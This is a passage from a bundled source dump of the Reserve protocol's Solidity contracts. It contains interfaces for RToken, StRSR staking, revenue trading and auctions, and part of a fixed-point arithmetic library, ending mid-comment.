"contracts/interfaces/IRevenueTrader.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"./IBroker.sol\";\nimport \"./IComponent.sol\";\nimport \"./ITrading.sol\";\n\n/**\n * @title IRevenueTrader\n * @notice The RevenueTrader is an extension of the trading mixin that trades all\n * assets at its address for a single target asset. There are two runtime instances\n * of the RevenueTrader, 1 for RToken and 1 for RSR.\n */\ninterface IRevenueTrader is IComponent, ITrading {\n // Initialization\n function init(\n IMain main_,\n IERC20 tokenToBuy_,\n uint192 maxTradeSlippage_,\n uint192 minTradeVolume_\n ) external;\n\n /// Distribute tokenToBuy to its destinations\n /// @dev Special-case of manageTokens()\n /// @custom:interaction\n function distributeTokenToBuy() external;\n\n /// Return registered ERC20s to the BackingManager if distribution for tokenToBuy is 0\n /// @custom:interaction\n function returnTokens(IERC20[] memory erc20s) external;\n\n /// Process some number of tokens\n /// If the tokenToBuy is included in erc20s, RevenueTrader will distribute it at end of the tx\n /// @param erc20s The ERC20s to manage; can be tokenToBuy or anything registered\n /// @param kinds The kinds of auctions to launch: DUTCH_AUCTION | BATCH_AUCTION\n /// @custom:interaction\n function manageTokens(IERC20[] memory erc20s, TradeKind[] memory kinds) external;\n\n function tokenToBuy() external view returns (IERC20);\n}\n\n// solhint-disable-next-line no-empty-blocks\ninterface TestIRevenueTrader is IRevenueTrader, TestITrading {\n\n}\n"
},
"contracts/interfaces/IRewardable.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"./IComponent.sol\";\nimport \"./IMain.sol\";\n\n/**\n * @title IRewardable\n * @notice A simple interface mixin to support claiming of rewards.\n */\ninterface IRewardable {\n /// Emitted whenever a reward token balance is claimed\n /// @param erc20 The ERC20 of the reward token\n /// @param amount {qTok}\n event RewardsClaimed(IERC20 indexed erc20, uint256 amount);\n\n /// Claim rewards earned by holding a balance of the ERC20 token\n /// Must emit `RewardsClaimed` for each token rewards are claimed for\n /// @custom:interaction\n function claimRewards() external;\n}\n\n/**\n * @title IRewardableComponent\n * @notice A simple interface mixin to support claiming of rewards.\n */\ninterface IRewardableComponent is IRewardable {\n /// Claim rewards for a single ERC20\n /// Must emit `RewardsClaimed` for each token rewards are claimed for\n /// @custom:interaction\n function claimRewardsSingle(IERC20 erc20) external;\n}\n"
},
"contracts/interfaces/IRToken.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts-upgradeable/token/ERC20/extensions/IERC20MetadataUpgradeable.sol\";\n// solhint-disable-next-line max-line-length\nimport \"@openzeppelin/contracts-upgradeable/token/ERC20/extensions/draft-IERC20PermitUpgradeable.sol\";\nimport \"../libraries/Fixed.sol\";\nimport \"../libraries/Throttle.sol\";\nimport \"./IAsset.sol\";\nimport \"./IComponent.sol\";\nimport \"./IMain.sol\";\nimport \"./IRewardable.sol\";\n\n/**\n * @title IRToken\n * @notice An RToken is an ERC20 that is permissionlessly issuable/redeemable and tracks an\n * exchange rate against a single unit: baskets, or {BU} in our type notation.\n */\ninterface IRToken is IComponent, IERC20MetadataUpgradeable, IERC20PermitUpgradeable {\n /// Emitted when an issuance of RToken occurs, whether it occurs via slow minting or not\n /// @param issuer The address holding collateral tokens\n /// @param recipient The address of the recipient of the RTokens\n /// @param amount The quantity of RToken being issued\n /// @param baskets The corresponding number of baskets\n event Issuance(\n address indexed issuer,\n address indexed recipient,\n uint256 amount,\n uint192 baskets\n );\n\n /// Emitted when a redemption of RToken occurs\n /// @param redeemer The address holding RToken\n /// @param recipient The address of the account receiving the backing collateral tokens\n /// @param amount The quantity of RToken being redeemed\n /// @param baskets The corresponding number of baskets\n /// @param amount {qRTok} The amount of RTokens canceled\n event Redemption(\n address indexed redeemer,\n address indexed recipient,\n uint256 amount,\n uint192 baskets\n );\n\n /// Emitted when the number of baskets needed changes\n /// @param oldBasketsNeeded Previous number of baskets units needed\n /// @param newBasketsNeeded New number of basket units needed\n event BasketsNeededChanged(uint192 oldBasketsNeeded, uint192 newBasketsNeeded);\n\n /// Emitted when RToken is melted, i.e the RToken supply is decreased but basketsNeeded is not\n /// @param amount {qRTok}\n event Melted(uint256 amount);\n\n /// Emitted when issuance SupplyThrottle params are set\n event IssuanceThrottleSet(ThrottleLib.Params oldVal, ThrottleLib.Params newVal);\n\n /// Emitted when redemption SupplyThrottle params are set\n event RedemptionThrottleSet(ThrottleLib.Params oldVal, ThrottleLib.Params newVal);\n\n // Initialization\n function init(\n IMain main_,\n string memory name_,\n string memory symbol_,\n string memory mandate_,\n ThrottleLib.Params calldata issuanceThrottleParams,\n ThrottleLib.Params calldata redemptionThrottleParams\n ) external;\n\n /// Issue an RToken with basket collateral\n /// @param amount {qRTok} The quantity of RToken to issue\n /// @custom:interaction\n function issue(uint256 amount) external;\n\n /// Issue an RToken with basket collateral, to a particular recipient\n /// @param recipient The address to receive the issued RTokens\n /// @param amount {qRTok} The quantity of RToken to issue\n /// @custom:interaction\n function issueTo(address recipient, uint256 amount) external;\n\n /// Redeem RToken for basket collateral\n /// @dev Use redeemCustom for non-current baskets\n /// @param amount {qRTok} The quantity {qRToken} of RToken to redeem\n /// @custom:interaction\n function redeem(uint256 amount) external;\n\n /// Redeem RToken for basket collateral to a particular recipient\n /// @dev Use redeemCustom for non-current baskets\n /// @param recipient The address to receive the backing collateral tokens\n /// @param amount {qRTok} The quantity {qRToken} of RToken to redeem\n /// @custom:interaction\n function redeemTo(address recipient, uint256 amount) external;\n\n /// Redeem RToken for a linear combination of historical baskets, to a particular recipient\n /// @dev Allows partial redemptions up to the minAmounts\n /// @param recipient The address to receive the backing collateral tokens\n /// @param amount {qRTok} The quantity {qRToken} of RToken to redeem\n /// @param basketNonces An array of basket nonces to do redemption from\n /// @param portions {1} An array of Fix quantities that must add up to FIX_ONE\n /// @param expectedERC20sOut An array of ERC20s expected out\n /// @param minAmounts {qTok} The minimum ERC20 quantities the caller should receive\n /// @custom:interaction\n function redeemCustom(\n address recipient,\n uint256 amount,\n uint48[] memory basketNonces,\n uint192[] memory portions,\n address[] memory expectedERC20sOut,\n uint256[] memory minAmounts\n ) external;\n\n /// Mint an amount of RToken equivalent to baskets BUs, scaling basketsNeeded up\n /// Callable only by BackingManager\n /// @param baskets {BU} The number of baskets to mint RToken for\n /// @custom:protected\n function mint(uint192 baskets) external;\n\n /// Melt a quantity of RToken from the caller's account\n /// @param amount {qRTok} The amount to be melted\n /// @custom:protected\n function melt(uint256 amount) external;\n\n /// Burn an amount of RToken from caller's account and scale basketsNeeded down\n /// Callable only by BackingManager\n /// @custom:protected\n function dissolve(uint256 amount) external;\n\n /// Set the number of baskets needed directly, callable only by the BackingManager\n /// @param basketsNeeded {BU} The number of baskets to target\n /// needed range: pretty interesting\n /// @custom:protected\n function setBasketsNeeded(uint192 basketsNeeded) external;\n\n /// @return {BU} How many baskets are being targeted\n function basketsNeeded() external view returns (uint192);\n\n /// @return {qRTok} The maximum issuance that can be performed in the current block\n function issuanceAvailable() external view returns (uint256);\n\n /// @return {qRTok} The maximum redemption that can be performed in the current block\n function redemptionAvailable() external view returns (uint256);\n}\n\ninterface TestIRToken is IRToken {\n function setIssuanceThrottleParams(ThrottleLib.Params calldata) external;\n\n function setRedemptionThrottleParams(ThrottleLib.Params calldata) external;\n\n function issuanceThrottleParams() external view returns (ThrottleLib.Params memory);\n\n function redemptionThrottleParams() external view returns (ThrottleLib.Params memory);\n\n function increaseAllowance(address, uint256) external returns (bool);\n\n function decreaseAllowance(address, uint256) external returns (bool);\n\n function monetizeDonations(IERC20) external;\n}\n"
},
"contracts/interfaces/IStRSR.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts-upgradeable/token/ERC20/extensions/IERC20MetadataUpgradeable.sol\";\n// solhint-disable-next-line max-line-length\nimport \"@openzeppelin/contracts-upgradeable/token/ERC20/extensions/draft-IERC20PermitUpgradeable.sol\";\nimport \"../libraries/Fixed.sol\";\nimport \"./IComponent.sol\";\nimport \"./IMain.sol\";\n\n/**\n * @title IStRSR\n * @notice An ERC20 token representing shares of the RSR over-collateralization pool.\n *\n * StRSR permits the BackingManager to take RSR in times of need. In return, the BackingManager\n * benefits the StRSR pool with RSR rewards purchased with a portion of its revenue.\n *\n * In the absence of collateral default or losses due to slippage, StRSR should have a\n * monotonically increasing exchange rate with respect to RSR, meaning that over time\n * StRSR is redeemable for more RSR. It is non-rebasing.\n */\ninterface IStRSR is IERC20MetadataUpgradeable, IERC20PermitUpgradeable, IComponent {\n /// Emitted when RSR is staked\n /// @param era The era at time of staking\n /// @param staker The address of the staker\n /// @param rsrAmount {qRSR} How much RSR was staked\n /// @param stRSRAmount {qStRSR} How much stRSR was minted by this staking\n event Staked(\n uint256 indexed era,\n address indexed staker,\n uint256 rsrAmount,\n uint256 stRSRAmount\n );\n\n /// Emitted when an unstaking is started\n /// @param draftId The id of the draft.\n /// @param draftEra The era of the draft.\n /// @param staker The address of the unstaker\n /// The triple (staker, draftEra, draftId) is a unique ID\n /// @param rsrAmount {qRSR} How much RSR this unstaking will be worth, absent seizures\n /// @param stRSRAmount {qStRSR} How much stRSR was burned by this unstaking\n event UnstakingStarted(\n uint256 indexed draftId,\n uint256 indexed draftEra,\n address indexed staker,\n uint256 rsrAmount,\n uint256 stRSRAmount,\n uint256 availableAt\n );\n\n /// Emitted when RSR is unstaked\n /// @param firstId The beginning of the range of draft IDs withdrawn in this transaction\n /// @param endId The end of range of draft IDs withdrawn in this transaction\n /// (ID i was withdrawn if firstId <= i < endId)\n /// @param draftEra The era of the draft.\n /// The triple (staker, draftEra, id) is a unique ID among drafts\n /// @param staker The address of the unstaker\n\n /// @param rsrAmount {qRSR} How much RSR this unstaking was worth\n event UnstakingCompleted(\n uint256 indexed firstId,\n uint256 indexed endId,\n uint256 draftEra,\n address indexed staker,\n uint256 rsrAmount\n );\n\n /// Emitted when RSR unstaking is cancelled\n /// @param firstId The beginning of the range of draft IDs withdrawn in this transaction\n /// @param endId The end of range of draft IDs withdrawn in this transaction\n /// (ID i was withdrawn if firstId <= i < endId)\n /// @param draftEra The era of the draft.\n /// The triple (staker, draftEra, id) is a unique ID among drafts\n /// @param staker The address of the unstaker\n\n /// @param rsrAmount {qRSR} How much RSR this unstaking was worth\n event UnstakingCancelled(\n uint256 indexed firstId,\n uint256 indexed endId,\n uint256 draftEra,\n address indexed staker,\n uint256 rsrAmount\n );\n\n /// Emitted whenever the exchange rate changes\n event ExchangeRateSet(uint192 oldVal, uint192 newVal);\n\n /// Emitted whenever RSR are paids out\n event RewardsPaid(uint256 rsrAmt);\n\n /// Emitted if all the RSR in the staking pool is seized and all balances are reset to zero.\n event AllBalancesReset(uint256 indexed newEra);\n /// Emitted if all the RSR in the unstakin pool is seized, and all ongoing unstaking is voided.\n event AllUnstakingReset(uint256 indexed newEra);\n\n event UnstakingDelaySet(uint48 oldVal, uint48 newVal);\n event RewardRatioSet(uint192 oldVal, uint192 newVal);\n event WithdrawalLeakSet(uint192 oldVal, uint192 newVal);\n\n // Initialization\n function init(\n IMain main_,\n string memory name_,\n string memory symbol_,\n uint48 unstakingDelay_,\n uint192 rewardRatio_,\n uint192 withdrawalLeak_\n ) external;\n\n /// Gather and payout rewards from rsrTrader\n /// @custom:interaction\n function payoutRewards() external;\n\n /// Stakes an RSR `amount` on the corresponding RToken to earn yield and over-collateralized\n /// the system\n /// @param amount {qRSR}\n /// @custom:interaction\n function stake(uint256 amount) external;\n\n /// Begins a delayed unstaking for `amount` stRSR\n /// @param amount {qStRSR}\n /// @custom:interaction\n function unstake(uint256 amount) external;\n\n /// Complete delayed unstaking for the account, up to (but not including!) `endId`\n /// @custom:interaction\n function withdraw(address account, uint256 endId) external;\n\n /// Cancel unstaking for the account, up to (but not including!) `endId`\n /// @custom:interaction\n function cancelUnstake(uint256 endId) external;\n\n /// Seize RSR, only callable by main.backingManager()\n /// @custom:protected\n function seizeRSR(uint256 amount) external;\n\n /// Reset all stakes and advance era\n /// @custom:governance\n function resetStakes() external;\n\n /// Return the maximum valid value of endId such that withdraw(endId) should immediately work\n function endIdForWithdraw(address account) external view returns (uint256 endId);\n\n /// @return {qRSR/qStRSR} The exchange rate between RSR and StRSR\n function exchangeRate() external view returns (uint192);\n}\n\ninterface TestIStRSR is IStRSR {\n function rewardRatio() external view returns (uint192);\n\n function setRewardRatio(uint192) external;\n\n function unstakingDelay() external view returns (uint48);\n\n function setUnstakingDelay(uint48) external;\n\n function withdrawalLeak() external view returns (uint192);\n\n function setWithdrawalLeak(uint192) external;\n\n function increaseAllowance(address, uint256) external returns (bool);\n\n function decreaseAllowance(address, uint256) external returns (bool);\n\n /// @return {qStRSR/qRSR} The exchange rate between StRSR and RSR\n function exchangeRate() external view returns (uint192);\n}\n"
},
"contracts/interfaces/ITrade.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"./IBroker.sol\";\nimport \"./IVersioned.sol\";\n\nenum TradeStatus {\n NOT_STARTED, // before init()\n OPEN, // after init() and before settle()\n CLOSED, // after settle()\n // === Intermediate-tx state ===\n PENDING // during init() or settle() (reentrancy protection)\n}\n\n/**\n * Simple generalized trading interface for all Trade contracts to obey\n *\n * Usage: if (canSettle()) settle()\n */\ninterface ITrade is IVersioned {\n /// Complete the trade and transfer tokens back to the origin trader\n /// @return soldAmt {qSellTok} The quantity of tokens sold\n /// @return boughtAmt {qBuyTok} The quantity of tokens bought\n function settle() external returns (uint256 soldAmt, uint256 boughtAmt);\n\n function sell() external view returns (IERC20Metadata);\n\n function buy() external view returns (IERC20Metadata);\n\n /// @return {tok} The sell amount of the trade, in whole tokens\n function sellAmount() external view returns (uint192);\n\n /// @return The timestamp at which the trade is projected to become settle-able\n function endTime() external view returns (uint48);\n\n /// @return True if the trade can be settled\n /// @dev Should be guaranteed to be true eventually as an invariant\n function canSettle() external view returns (bool);\n\n /// @return TradeKind.DUTCH_AUCTION or TradeKind.BATCH_AUCTION\n // solhint-disable-next-line func-name-mixedcase\n function KIND() external view returns (TradeKind);\n}\n"
},
"contracts/interfaces/ITrading.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"../libraries/Fixed.sol\";\nimport \"./IAsset.sol\";\nimport \"./IComponent.sol\";\nimport \"./ITrade.sol\";\nimport \"./IRewardable.sol\";\n\n/**\n * @title ITrading\n * @notice Common events and refresher function for all Trading contracts\n */\ninterface ITrading is IComponent, IRewardableComponent {\n event MaxTradeSlippageSet(uint192 oldVal, uint192 newVal);\n event MinTradeVolumeSet(uint192 oldVal, uint192 newVal);\n\n /// Emitted when a trade is started\n /// @param trade The one-time-use trade contract that was just deployed\n /// @param sell The token to sell\n /// @param buy The token to buy\n /// @param sellAmount {qSellTok} The quantity of the selling token\n /// @param minBuyAmount {qBuyTok} The minimum quantity of the buying token to accept\n event TradeStarted(\n ITrade indexed trade,\n IERC20 indexed sell,\n IERC20 indexed buy,\n uint256 sellAmount,\n uint256 minBuyAmount\n );\n\n /// Emitted after a trade ends\n /// @param trade The one-time-use trade contract\n /// @param sell The token to sell\n /// @param buy The token to buy\n /// @param sellAmount {qSellTok} The quantity of the token sold\n /// @param buyAmount {qBuyTok} The quantity of the token bought\n event TradeSettled(\n ITrade indexed trade,\n IERC20 indexed sell,\n IERC20 indexed buy,\n uint256 sellAmount,\n uint256 buyAmount\n );\n\n /// Settle a single trade, expected to be used with multicall for efficient mass settlement\n /// @param sell The sell token in the trade\n /// @return The trade settled\n /// @custom:refresher\n function settleTrade(IERC20 sell) external returns (ITrade);\n\n /// @return {%} The maximum trade slippage acceptable\n function maxTradeSlippage() external view returns (uint192);\n\n /// @return {UoA} The minimum trade volume in UoA, applies to all assets\n function minTradeVolume() external view returns (uint192);\n\n /// @return The ongoing trade for a sell token, or the zero address\n function trades(IERC20 sell) external view returns (ITrade);\n\n /// @return The number of ongoing trades open\n function tradesOpen() external view returns (uint48);\n\n /// @return The number of total trades ever opened\n function tradesNonce() external view returns (uint256);\n}\n\ninterface TestITrading is ITrading {\n /// @custom:governance\n function setMaxTradeSlippage(uint192 val) external;\n\n /// @custom:governance\n function setMinTradeVolume(uint192 val) external;\n}\n"
},
"contracts/interfaces/IVersioned.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\ninterface IVersioned {\n function version() external view returns (string memory);\n}\n"
},
"contracts/libraries/Fixed.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\n// solhint-disable func-name-mixedcase func-visibility\n// slither-disable-start divide-before-multiply\npragma solidity ^0.8.19;\n\n/// @title FixedPoint, a fixed-point arithmetic library defining the custom type uint192\n/// @author Matt Elder <matt.elder@reserve.org> and the Reserve Team <https://reserve.org>\n\n/** The logical type `uint192 ` is a 192 bit value, representing an 18-decimal Fixed-point\n fractional value. This is what's described in the Solidity documentation as\n \"fixed192x18\" -- a value represented by 192 bits, that makes 18 digits available to\n the right of the decimal point.\n\n The range of values that uint192 can represent is about [-1.7e20, 1.7e20].\n Unless a function explicitly says otherwise, it will fail on overflow.\n To be clear, the following should hold:\n toFix(0) == 0\n toFix(1) == 1e18\n*/\n\n// Analysis notes:\n// Every function should revert iff its result is out of bounds.\n// Unless otherwise noted, when a rounding mode is given, that mode is applied to\n// a single division that may happen as the last step in the computation.\n// Unless otherwise noted, when a rounding mode is *not* given but is needed, it's FLOOR.\n// For each, we comment:\n// - @return is the value expressed in \"value space\", where uint192(1e18) \"is\" 1.0\n// - as-ints: is the value expressed in \"implementation space\", where uint192(1e18) \"is\" 1e18\n// The \"@return\" expression is suitable for actually using the library\n// The \"as-ints\" expression is suitable for testing\n\n// A uint value passed to this library was out of bounds for uint192 operations\nerror UIntOutOfBounds();\nbytes32 constant UIntOutofBoundsHash = keccak256(abi.encodeWithSignature(\"UIntOutOfBounds()\"));\n\n// Used by P1 implementation for easier casting\nuint256 constant FIX_ONE_256 = 1e18;\nuint8 constant FIX_DECIMALS = 18;\n\n// If a particular uint192 is represented by the uint192 n, then the uint192 represents the\n// value n/FIX_SCALE.\nuint64 constant FIX_SCALE = 1e18;\n\n// FIX_SCALE Squared:\nuint128 constant FIX_SCALE_SQ = 1e36;\n\n// The largest integer that can be converted to uint192 .\n// This is a bit bigger than 3.1e39\nuint192 constant FIX_MAX_INT = type(uint192).max / FIX_SCALE;\n\nuint192 constant FIX_ZERO = 0; // The uint192 representation of zero.\nuint192 constant FIX_ONE = FIX_SCALE; // The uint192 representation of one.\nuint192 constant FIX_MAX = type(uint192).max; // The largest uint192. (Not an integer!)\nuint192 constant FIX_MIN = 0; // The smallest uint192.\n\n/// An enum that describes a rounding approach for converting to ints\nenum RoundingMode {\n FLOOR, // Round towards zero\n ROUND, // Round to the nearest int\n CEIL // Round away from zero\n}\n\nRoundingMode constant FLOOR = RoundingMode.FLOOR;\nRoundingMode constant ROUND = RoundingMode.ROUND;\nRoundingMode constant CEIL = RoundingMode.CEIL;\n\n/* @dev Solidity 0.8.x only allows you to change one of type or size per type conversion.\n Thus, all the tedious-looking double conversions like uint256(uint256 (foo))\n See: https://docs.soliditylang.org/en/v0.8.17/080-breaking-changes.html#new-restrictions\n */\n\n/// Explicitly convert a uint256 to a uint192. Revert if the input is out of bounds.\nfunction _safeWrap(uint256 x) pure returns (uint192) {\n if (FIX_MAX < x) revert UIntOutOfBounds();\n return uint192(x);\n}\n\n/// Convert a uint to its Fix representation.\n/// @return x\n// as-ints: x * 1e18\nfunction toFix(uint256 x) pure returns (uint192) {\n return _safeWrap(x * FIX_SCALE);\n}\n\n/// Convert a uint to its fixed-point representation, and left-shift its value `shiftLeft`\n/// decimal digits.\n/// @return x * 10**shiftLeft\n// as-ints: x * 10**(shiftLeft + 18)\nfunction shiftl_toFix(uint256 x, int8 shiftLeft) pure returns (uint192) {\n return shiftl_toFix(x, shiftLeft, FLOOR);\n}\n\n/// @return x * 10**shiftLeft\n// as-ints: x * 10**(shiftLeft + 18)\nfunction shiftl_toFix(\n uint256 x,\n int8 shiftLeft,\n RoundingMode rounding\n) pure returns (uint192) {\n // conditions for avoiding overflow\n if (x == 0) return 0;\n if (shiftLeft <= -96) return (rounding == CEIL ? 1 : 0); // 0 < uint.max / 10**77 < 0.5\n if (40 <= shiftLeft) revert UIntOutOfBounds(); // 10**56 < FIX_MAX < 10**57\n\n shiftLeft += 18;\n\n uint256 coeff = 10**abs(shiftLeft);\n uint256 shifted = (shiftLeft >= 0) ? x * coeff : _divrnd(x, coeff, rounding);\n\n return _safeWrap(shifted);\n}\n\n/// Divide a uint by a uint192, yielding a uint192\n/// This may also fail if the result is MIN_uint192! not fixing this for optimization's sake.\n/// @return x / y\n// as-ints: x * 1e36 / y\nfunction divFix(uint256 x, uint192 y) pure returns (uint192) {\n // If we didn't have to worry about overflow, we'd just do `return x * 1e36 / _y`\n // If it's safe to do this operation the easy way, do it:\n if (x < uint256(type(uint256).max / FIX_SCALE_SQ)) {\n return _safeWrap(uint256(x * FIX_SCALE_SQ) / y);\n } else {\n return _safeWrap(mulDiv256(x, FIX_SCALE_SQ, y));\n }\n}\n\n/// Divide a uint by a uint, yielding a uint192\n/// @return x / y\n// as-ints: x * 1e18 / y\nfunction divuu(uint256 x, uint256 y) pure returns (uint192) {\n return _safeWrap(mulDiv256(FIX_SCALE, x, y));\n}\n\n/// @return min(x,y)\n// as-ints: min(x,y)\nfunction fixMin(uint192 x, uint192 y) pure returns (uint192) {\n return x < y ? x : y;\n}\n\n/// @return max(x,y)\n// as-ints: max(x,y)\nfunction fixMax(uint192 x, uint192 y) pure returns (uint192) {\n return x > y ? x : y;\n}\n\n/// @return absoluteValue(x,y)\n// as-ints: absoluteValue(x,y)\nfunction abs(int256 x) pure returns (uint256) {\n return x < 0 ? uint256(-x) : uint256(x);\n}\n\n/// Divide two uints, returning a uint, using rounding mode `rounding`.\n/// @return numerator / divisor\n// as-ints: numerator / divisor\nfunction _divrnd(\n uint256 numerator,\n uint256 divisor,\n RoundingMode rounding\n) pure returns (uint256) {\n uint256 result = numerator / divisor;\n\n if (rounding == FLOOR) return result;\n\n if (rounding == ROUND) {\n if (numerator % divisor > (divisor - 1) / 2) {\n result++;\n }\n } else {\n if (numerator % divisor > 0) {\n result++;\n }\n }\n\n return result;\n}\n\nlibrary FixLib {\n /// Again, all arithmetic functions fail if and only if the result is out of bounds.\n\n /// Convert this fixed-point value to a uint. Round towards zero if needed.\n /// @return x\n // as-ints: x / 1e18\n function toUint(uint192 x) internal pure returns (uint136) {\n return toUint(x, FLOOR);\n }\n\n /// Convert this uint192 to a uint\n /// @return x\n // as-ints: x / 1e18 with rounding\n function toUint(uint192 x, RoundingMode rounding) internal pure returns (uint136) {\n return uint136(_divrnd(uint256(x), FIX_SCALE, rounding));\n }\n\n /// Return the uint192 shifted to the left by `decimal` digits\n /// (Similar to a bitshift but in base 10)\n /// @return x * 10**decimals\n // as-ints: x * 10**decimals\n function shiftl(uint192 x, int8 decimals) internal pure returns (uint192) {\n return shiftl(x, decimals, FLOOR);\n }\n\n /// Return the uint192 shifted to the left by `decimal` digits\n /// (Similar to a bitshift but in base 10)\n /// @return x * 10**decimals\n // as-ints: x * 10**decimals\n function shiftl(\n uint192 x,\n int8 decimals,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n // Handle overflow cases\n if (x == 0) return 0;\n if (decimals <= -59) return (rounding == CEIL ? 1 : 0); // 59, because 1e58 > 2**192\n if (58 <= decimals) revert UIntOutOfBounds(); // 58, because x * 1e58 > 2 ** 192 if x != 0\n\n uint256 coeff = uint256(10**abs(decimals));\n return _safeWrap(decimals >= 0 ? x * coeff : _divrnd(x, coeff, rounding));\n }\n\n /// Add a uint192 to this uint192\n /// @return x + y\n // as-ints: x + y\n function plus(uint192 x, uint192 y) internal pure returns (uint192) {\n return x + y;\n }\n\n /// Add a uint to this uint192\n /// @return x + y\n // as-ints: x + y*1e18\n function plusu(uint192 x, uint256 y) internal pure returns (uint192) {\n return _safeWrap(x + y * FIX_SCALE);\n }\n\n /// Subtract a uint192 from this uint192\n /// @return x - y\n // as-ints: x - y\n function minus(uint192 x, uint192 y) internal pure returns (uint192) {\n return x - y;\n }\n\n /// Subtract a uint from this uint192\n /// @return x - y\n // as-ints: x - y*1e18\n function minusu(uint192 x, uint256 y) internal pure returns (uint192) {\n return _safeWrap(uint256(x) - uint256(y * FIX_SCALE));\n }\n\n /// Multiply this uint192 by a uint192\n /// Round truncated values to the nearest available value. 5e-19 rounds away from zero.\n /// @return x * y\n // as-ints: x * y/1e18 [division using ROUND, not FLOOR]\n function mul(uint192 x, uint192 y) internal pure returns (uint192) {\n return mul(x, y, ROUND);\n }\n\n /// Multiply this uint192 by a uint192\n /// @return x * y\n // as-ints: x * y/1e18\n function mul(\n uint192 x,\n uint192 y,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n return _safeWrap(_divrnd(uint256(x) * uint256(y), FIX_SCALE, rounding));\n }\n\n /// Multiply this uint192 by a uint\n /// @return x * y\n // as-ints: x * y\n function mulu(uint192 x, uint256 y) internal pure returns (uint192) {\n return _safeWrap(x * y);\n }\n\n /// Divide this uint192 by a uint192\n /// @return x / y\n // as-ints: x * 1e18 / y\n function div(uint192 x, uint192 y) internal pure returns (uint192) {\n return div(x, y, FLOOR);\n }\n\n /// Divide this uint192 by a uint192\n /// @return x / y\n // as-ints: x * 1e18 / y\n function div(\n uint192 x,\n uint192 y,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n // Multiply-in FIX_SCALE before dividing by y to preserve precision.\n return _safeWrap(_divrnd(uint256(x) * FIX_SCALE, y, rounding));\n }\n\n /// Divide this uint192 by a uint\n /// @return x / y\n // as-ints: x / y\n function divu(uint192 x, uint256 y) internal pure returns (uint192) {\n return divu(x, y, FLOOR);\n }\n\n /// Divide this uint192 by a uint\n /// @return x / y\n // as-ints: x / y\n function divu(\n uint192 x,\n uint256 y,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n return _safeWrap(_divrnd(x, y, rounding));\n }\n\n uint64 constant FIX_HALF = uint64(FIX_SCALE) / 2;\n\n /// Raise this uint192 to a nonnegative integer power. Requires that x_ <= FIX_ONE\n /// Gas cost is O(lg(y)), precision is +- 1e-18.\n /// @return x_ ** y\n // as-ints: x_ ** y / 1e18**(y-1) <- technically correct for y = 0. :D\n function powu(uint192 x_, uint48 y) internal pure returns (uint192) {\n require(x_ <= FIX_ONE);\n if (y == 1) return x_;\n if (x_ == FIX_ONE || y == 0) return FIX_ONE;\n uint256 x = uint256(x_) * FIX_SCALE; // x is D36\n uint256 result = FIX_SCALE_SQ; // result is D36\n while (true) {\n if (y & 1 == 1) result = (result * x + FIX_SCALE_SQ / 2) / FIX_SCALE_SQ;\n if (y <= 1) break;\n y = (y >> 1);\n x = (x * x + FIX_SCALE_SQ / 2) / FIX_SCALE_SQ;\n }\n return _safeWrap(result / FIX_SCALE);\n }\n\n /// Comparison operators...\n function lt(uint192 x, uint192 y) internal pure returns (bool) {\n return x < y;\n }\n\n function lte(uint192 x, uint192 y) internal pure returns (bool) {\n return x <= y;\n }\n\n function gt(uint192 x, uint192 y) internal pure returns (bool) {\n return x > y;\n }\n\n function gte(uint192 x, uint192 y) internal pure returns (bool) {\n return x >= y;\n }\n\n function eq(uint192 x, uint192 y) internal pure returns (bool) {\n return x == y;\n }\n\n function neq(uint192 x, uint192 y) internal pure returns (bool) {\n return x != y;\n }\n\n /// Return whether or not this uint192 is less than epsilon away from y.\n /// @return |x - y| < epsilon\n // as-ints: |x - y| < epsilon\n function near(\n uint192 x,\n uint192 y,\n uint192 epsilon\n ) internal pure returns (bool) {\n uint192 diff = x <= y ? y - x : x - y;\n return diff < epsilon;\n }\n\n // ================ Chained Operations ================\n // The operation foo_bar() always means:\n // Do foo() followed by bar(), and overflow only if the _end_ result doesn't fit in an uint192\n\n /// Shift this uint192 left by `decimals` digits, and convert to a uint\n /// @return x * 10**decimals\n // as-ints: x * 10**(decimals - 18)\n function shiftl_toUint(uint192 x, int8 decimals) internal pure returns (uint256) {\n return shiftl_toUint(x, decimals, FLOOR);\n }\n\n /// Shift this uint192 left by `decimals` digits, and convert to a uint.\n /// @return x * 10**decimals\n // as-ints: x * 10**(decimals - 18)\n function shiftl_toUint(\n uint192 x,\n int8 decimals,\n RoundingMode rounding\n ) internal pure returns (uint256) {\n // Handle overflow cases\n if (x == 0) return 0; // always computable, no matter what decimals is\n if (decimals <= -42) return (rounding == CEIL ? 1 : 0);\n if (96 <= decimals) revert UIntOutOfBounds();\n\n decimals -= 18; // shift so that toUint happens at the same time.\n\n uint256 coeff = uint256(10**abs(decimals));\n return decimals >= 0 ? uint256(x * coeff) : uint256(_divrnd(x, coeff, rounding));\n }\n\n /// Multiply this uint192 by a uint, and output the result as a uint\n /// @return x * y\n // as-ints: x * y / 1e18\n function mulu_toUint(uint192 x, uint256 y) internal pure returns (uint256) {\n return mulDiv256(uint256(x), y, FIX_SCALE);\n }\n\n /// Multiply this uint192 by a uint, and output the result as a uint\n /// @return x * y\n // as-ints: x * y / 1e18\n function mulu_toUint(\n uint192 x,\n uint256 y,\n RoundingMode rounding\n ) internal pure returns (uint256) {\n return mulDiv256(uint256(x), y, FIX_SCALE, rounding);\n }\n\n /// Multiply this uint192 by a uint192 and output the result as a uint\n /// @return x * 